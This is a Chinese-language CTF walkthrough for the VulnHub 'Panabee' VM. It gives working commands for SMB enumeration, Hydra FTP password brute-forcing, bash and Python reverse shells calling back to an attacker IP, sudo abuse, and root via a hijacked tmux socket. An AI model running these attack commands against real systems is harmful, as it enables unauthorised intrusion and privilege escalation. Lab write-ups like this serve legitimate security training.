今天实践的是vulnhub的Panabee镜像,
下载地址,https://download.vulnhub.com/panabee/Panabee.ova,
用workstation导入,直接能看到地址,
继续进行端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.58.150,
有smb服务,尝试匿名连接,smbclient -L 192.168.58.150,
进一步连接note目录,smbclient \\\\192.168.58.150\\note,
下载note.txt,查看发现goper账户的提示,以及文件backup的提示,
爆破ftp服务,得到密码,spiderman,
hydra -l goper -P /usr/share/wordlists/rockyou.txt 192.168.58.150 ftp,
ftp登录192.168.58.150,
下载bash历史记录,
查看分析出文件备份的脚本是/home/goper/backup.sh,
构造backup.sh,内容是反弹shell脚本,
#!/bin/bash
bash -i >& /dev/tcp/192.168.58.151/4444 0>&1
通过ftp上传,上传之前在kali攻击机上开个反弹shell监听,nc -lvp 4444,
获取到反弹shell,sudo -l查看到jenny账户权限执行的程序,
构造status.py,内容是反弹shell脚本,
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.58.151",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
通过ftp上传,上传之前注意拿掉当前已经存在的status.py,
mv /home/goper/status.py /home/goper/status.py.bak,
改权限,chmod 777 /home/goper/status.py,
kali攻击机上再开个反弹shell监听,nc -lvp 8888,
执行,sudo -u jenny /usr/bin/python3 /home/goper/status.py,
获取到另一个反弹shell,id确认不是root,继续提权,
下载pspy64程序,cd /tmp,
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64,
改权限,chmod 777 pspy64,执行,./pspy64,
查看到tmux进程,
切换到交换式shell,python3 -c 'import pty; pty.spawn("/bin/bash")',
执行,export TERM=xterm,
tmux -S /opt/.tmux-0/sockets/default attach,
得到新的shell,id确认是root,